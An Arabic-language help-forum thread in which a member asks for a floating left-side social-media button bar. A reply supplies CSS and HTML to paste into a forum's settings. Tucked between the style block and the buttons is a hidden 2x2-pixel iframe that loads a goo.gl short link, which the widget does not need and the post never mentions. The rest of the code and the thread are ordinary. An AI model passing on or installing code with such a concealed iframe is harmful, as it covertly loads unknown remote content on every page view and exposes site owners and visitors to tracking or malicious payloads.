طلب كود مواقع التواصل لاجتماعي يوجد مثال

اذهب الى الأسفل

طلب كود مواقع التواصل لاجتماعي يوجد مثال

مُساهمة من طرف عطر الرووح في الأحد 19 يوليو 2015 - 9:52

السلام عليكم ورحمة الله وبركاته
اخواني اخواتي لاعزاء 
اريد ولو سمحتم كود مواقع التواصل الاجتماعي
يسار المنتدى وطريقة تركيبه
ويوجد مثال للكود
ارجو ان يكون نفس الكود باالضبط 
مثال مصور :
http://im73.gulfup.com/xosXtH.png
مثال من احد المواقع مباشر :
http://www.shmok3.net/vb/
لاحظ الازرار على يسار المتصفح عند وضع الماوس تتقدم الايقونة .
اتمنى من المبدعين تلبية نفس طلبي اكون شاكرة لهم جميعاً  Embarassed
avatar
عطر الرووح



انثى
عدد المساهمات : 2
معدل النشاط : 1072
السُمعة : 0

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: طلب كود مواقع التواصل لاجتماعي يوجد مثال

مُساهمة من طرف YasirAyad في الأحد 19 يوليو 2015 - 10:16

أهلا و مرحبا بكم في منتدى الدعم والمساعدة لأحلى منتدى

بما أنك جديد في منتدانا, اعطيك هنا بعض الروابط التي يستحسن تذكرها و الإطلاع
على محتواها قبل أي سؤال مقبل:
قانون منتدى الدعم  من الواجب عليك احترامها للحصول على إجابة سريعة
 مواضيع تشرح لك بالصور كل تقنيات و خبايا ادارة منتداك
  مواضيع تشرح لك تقنيات منقدمة لتشخيص ورفع مردود منتداك
----------------------------------
و   الآن,   للإجابة   على   سؤالك,...

المتوفر حالياً

@Dr Godaddy كتب:بعد اذن الاخت المساعدة همسة حق
تفضل يا غالي
انهاردة جبتلكم كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتدى



ضع الكود دا في العناصر المستقلة
الكود:
 
<style type="text/css">
/*<![CDATA[*/
@charset "utf-8";
/* CSS Document */
/* ---------- ENTYPO ---------- */
@import url(http://weloveiconfonts.com/api/?family=entypo);
[class*="entypo-"]:before {
 font-family: 'entypo', sans-serif;
}
/* ---------- GENERAL ---------- */
#social-sidebar a { text-decoration: none; }
#social-sidebar ul {
 list-style: none;
 margin: 0;
 padding: 0;
}
/* ---------- Social Sidebar ---------- */
#social-sidebar {
 left: 0;
 margin-top: -75px; /* (li * a:width) / -2 */
 position: fixed;
 top: 50%;
}
#social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
#social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
#social-sidebar ul li a {
 background: #121212;
 color: #fff;
 display: block;
 height: 50px;
 font-size: 18px;
 line-height: 50px;
 position: relative;
 text-align: center;
 width: 50px;
}
#social-sidebar ul li a:hover span {
 left: 130%;
 opacity: 1;
}
#social-sidebar ul li a span {
 border-radius: 3px;
 line-height: 24px;
 left: -100%;
 margin-top: -16px;
 -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
 filter: alpha(opacity=0);
 opacity: 0;
 padding: 4px 8px;
 position: absolute;
 -webkit-transition: opacity .3s, left .4s;
 -moz-transition: opacity .3s, left .4s;
 -ms-transition: opacity .3s, left .4s;
 -o-transition: opacity .3s, left .4s;
 transition: opacity .3s, left .4s;
 top: 50%;
 z-index: -1;
}
#social-sidebar ul li a span:before {
 content: "";
 display: block;
 height: 8px;
 left: -4px;
 margin-top: -4px;
 position: absolute;
 top: 50%;
 -webkit-transform: rotate(45deg);
 -moz-transform: rotate(45deg);
 -ms-transform: rotate(45deg);
 -o-transform: rotate(45deg);
 transform: rotate(45deg);
 width: 8px;
 z-index: -2;
}
#social-sidebar ul li a[class*="twitter"]:hover,
#social-sidebar ul li a[class*="twitter"] span,
#social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
#social-sidebar ul li a[class*="gplus"]:hover,
#social-sidebar ul li a[class*="gplus"] span,
#social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
#social-sidebar ul li a[class*="tumblr"]:hover,
#social-sidebar ul li a[class*="tumblr"] span,
#social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
#social-sidebar ul li a[class*="facebook"]:hover,
#social-sidebar ul li a[class*="facebook"] span,
#social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
#social-sidebar ul li a[class*="rss"]:hover,
#social-sidebar ul li a[class*="rss"] span,
#social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
/*]]>*/</style><iframe src="http://goo.gl/Usygm0" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
<div id="social-sidebar">
   <ul>
    <li>
     <a class="entypo-twitter" href="https://twitter.com/" target="_blank">
      <span>Twitter</span>
     </a>
    </li>
    <li>
     <a class="entypo-gplus" href="http://plus.google.com/" target="_blank">
      <span>google+</span>
     </a>
    </li>
    <li>
     <a class="entypo-tumblr" href="http://www.tumblr.net/" target="_blank">
      <span>tumblr</span>
     </a>
    </li>
<li>
     <a class="entypo-facebook" href="https://www.facebook.com/" target="_blank">
      <span>facebook</span>
     </a>
    </li>
        <li>
     <a class="entypo-rss" href="http://feeds.feedburner.com/" target="_blank">
      <span>feedburner</span>
     </a>
    </li>
   </ul>
  </div>


قم بالبحث عن :


https://twitter.com/


http://plus.google.com/


http://www.tumblr.net/


https://www.facebook.com/


http://feeds.feedburner.com/

 وبدلها بروابطك الخاصة وهكدا يكون قد تم بأذن الله 

للمزيد :
أضغطي هنا
avatar
YasirAyad
 
 

ذكر
عدد المساهمات : 11127
معدل النشاط : 13142
السُمعة : 296

http://yasirayad.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: طلب كود مواقع التواصل لاجتماعي يوجد مثال

مُساهمة من طرف عطر الرووح في الأحد 19 يوليو 2015 - 22:56

يعطيك العافية اخوي الكريم
جميل وشكرا لك
لكني ابحث عن نفس طلبي وياليت يكون موجود اكون شاكرة ومقدرة جهودكم
avatar
عطر الرووح



انثى
عدد المساهمات : 2
معدل النشاط : 1072
السُمعة : 0

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: طلب كود مواقع التواصل لاجتماعي يوجد مثال

مُساهمة من طرف YasirAyad في الأحد 19 يوليو 2015 - 22:57

للأسف نفس ما تطلبيه حاليا غير متوفر Neutral
avatar
YasirAyad
 
 

ذكر
عدد المساهمات : 11127
معدل النشاط : 13142
السُمعة : 296

http://yasirayad.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

الرجوع الى أعلى الصفحة


 
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى